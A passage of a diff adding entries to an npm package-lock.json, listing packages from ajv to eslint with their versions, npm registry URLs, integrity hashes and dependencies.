"postcss": "^8.4.17", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + } + } + }, + "css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + } + }, + "css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "requires": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + } + }, + "css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==" + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==" + }, + "cssnano": { + "version": "5.1.15", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "requires": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + } + }, + "cssnano-preset-advanced": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/cssnano-preset-advanced/-/cssnano-preset-advanced-5.3.10.tgz", + "integrity": "sha512-fnYJyCS9jgMU+cmHO1rPSPf9axbQyD7iUhLO5Df6O4G+fKIOMps+ZbU0PdGFejFBBZ3Pftf18fn1eG7MAPUSWQ==", + "requires": { + "autoprefixer": "^10.4.12", + "cssnano-preset-default": "^5.2.14", + "postcss-discard-unused": "^5.1.0", + "postcss-merge-idents": "^5.1.1", + "postcss-reduce-idents": "^5.2.0", + "postcss-zindex": "^5.1.0" + } + }, + "cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "requires": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + } + }, + "cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "requires": {} + }, + "csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "requires": { + "css-tree": "^1.1.2" + } + }, + "csstype": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" + }, + "data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==" + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" + }, + "deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "devOptional": true + }, + "deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==" + }, + "default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "requires": { + "execa": "^5.0.0" + } + }, + "defer-to-connect": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", + "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" + }, + "define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==" + }, + "define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "requires": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + } + }, + "del": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/del/-/del-6.1.1.tgz", + "integrity": "sha512-ua8BhapfP0JUJKC/zV9yHHDW/rDoDxP4Zhn3AkA6/xT6gY7jYXJiaeyBZznYVujhZZET+UgcbZiQ7sN3WqcImg==", + "requires": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + } + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" + }, + "destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" + }, + "detab": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/detab/-/detab-2.0.4.tgz", + "integrity": "sha512-8zdsQA5bIkoRECvCrNKPla84lyoR7DSAyf7p0YgXzBO9PDJx8KntPUay7NS6yp+KdxdVtiE5SpHKtbp2ZQyA9g==", + "requires": { + "repeat-string": "^1.5.4" + } + }, + "detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "detect-port": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/detect-port/-/detect-port-1.5.1.tgz", + "integrity": "sha512-aBzdj76lueB6uUst5iAs7+0H/oOjqI5D16XUWxlWMIMROhcM0rfsNVk93zTngq1dDNpoXRr++Sus7ETAExppAQ==", + "requires": { + "address": "^1.0.1", + "debug": "4" + } + }, + "detect-port-alt": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "requires": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "requires": { + "path-type": "^4.0.0" + } + }, + "dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==" + }, + "dns-packet": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.0.tgz", + "integrity": "sha512-rza3UH1LwdHh9qyPXp8lkwpjSNk/AMD3dPytUoRoqnypDUhY0xvbdmVhWOfxO68frEfV9BU8V12Ez7ZsHGZpCQ==", + "requires": { + "@leichtgewicht/ip-codec": "^2.0.1" + } + }, + "doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "devOptional": true, + "requires": { + "esutils": "^2.0.2" + } + }, + "docusaurus-plugin-sass": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/docusaurus-plugin-sass/-/docusaurus-plugin-sass-0.2.5.tgz", + "integrity": "sha512-Z+D0fLFUKcFpM+bqSUmqKIU+vO+YF1xoEQh5hoFreg2eMf722+siwXDD+sqtwU8E4MvVpuvsQfaHwODNlxJAEg==", + "requires": { + "sass-loader": "^10.1.1" + }, + "dependencies": { + "sass-loader": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-10.4.1.tgz", + "integrity": "sha512-aX/iJZTTpNUNx/OSYzo2KsjIUQHqvWsAhhUijFjAPdZTEhstjZI9zTNvkTTwsx+uNUJqUwOw5gacxQMx4hJxGQ==", + "requires": { + "klona": "^2.0.4", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "requires": { + "utila": "~0.4" + } + }, + "dom-iterator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dom-iterator/-/dom-iterator-1.0.0.tgz", + "integrity": "sha512-7dsMOQI07EMU98gQM8NSB3GsAiIeBYIPKpnxR3c9xOvdvBjChAcOM0iJ222I3p5xyiZO9e5oggkNaCusuTdYig==", + "requires": { + "component-props": "1.1.1", + "component-xor": "0.0.4" + } + }, + "dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "requires": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + } + }, + "domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==" + }, + "domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "requires": { + "domelementtype": "^2.3.0" + } + }, + "domutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz", + "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==", + "requires": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + } + }, + "dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "dot-prop": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", + "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", + "requires": { + "is-obj": "^2.0.0" + }, + "dependencies": { + "is-obj": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" + } + } + }, + "duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==" + }, + "duplexer3": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.5.tgz", + "integrity": "sha512-1A8za6ws41LQgv9HrE/66jyC5yuSjQ3L/KOpFtoBilsAK2iA2wuS5rTt1OCzIvtS2V7nVmedsUU+DGRcjBmOYA==" + }, + "eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "electron-to-chromium": { + "version": "1.4.498", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.498.tgz", + "integrity": "sha512-4LODxAzKGVy7CJyhhN5mebwe7U2L29P+0G+HUriHnabm0d7LSff8Yn7t+Wq+2/9ze2Fu1dhX7mww090xfv7qXQ==" + }, + "emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==" + }, + "emoticon": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/emoticon/-/emoticon-3.2.0.tgz", + "integrity": "sha512-SNujglcLTTg+lDAcApPNgEdudaqQFiAbJCqzjNxJkvN9vAwCGi0uu8IUVvx+f16h+V44KCY6Y2yboroc9pilHg==" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==" + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "enhanced-resolve": { + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==" + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "es-abstract": { + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.1.tgz", + "integrity": "sha512-ioRRcXMO6OFyRpyzV3kE1IIBd4WG5/kltnzdxSCqoP8CMGs/Li+M1uF5o7lOkZVFjDs+NLesthnF66Pg/0q0Lw==", + "dev": true, + "requires": { + "array-buffer-byte-length": "^1.0.0", + "arraybuffer.prototype.slice": "^1.0.1", + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "es-set-tostringtag": "^2.0.1", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.2.1", + "get-symbol-description": "^1.0.0", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.10", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.0", + "safe-array-concat": "^1.0.0", + "safe-regex-test": "^1.0.0", + "string.prototype.trim": "^1.2.7", + "string.prototype.trimend": "^1.0.6", + "string.prototype.trimstart": "^1.0.6", + "typed-array-buffer": "^1.0.0", + "typed-array-byte-length": "^1.0.0", + "typed-array-byte-offset": "^1.0.0", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.10" + } + }, + "es-iterator-helpers": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.13.tgz", + "integrity": "sha512-LK3VGwzvaPWobO8xzXXGRUOGw8Dcjyfk62CsY/wfHN75CwsJPbuypOYJxK6g5RyEL8YDjIWcl6jgd8foO6mmrA==", + "dev": true, + "requires": { + "asynciterator.prototype": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.21.3", + "es-set-tostringtag": "^2.0.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "iterator.prototype": "^1.1.0", + "safe-array-concat": "^1.0.0" + } + }, + "es-module-lexer": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==" + }, + "es-set-tostringtag": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz", + "integrity": "sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==", + "dev": true, + "requires": { + "get-intrinsic": "^1.1.3", + "has": "^1.0.3", + "has-tostringtag": "^1.0.0" + } + }, + "es-shim-unscopables": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz", + "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, + "es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "requires": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + } + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" + }, + "escape-goat": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz", + "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" + }, + "eslint": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.47.0.tgz", + "integrity": 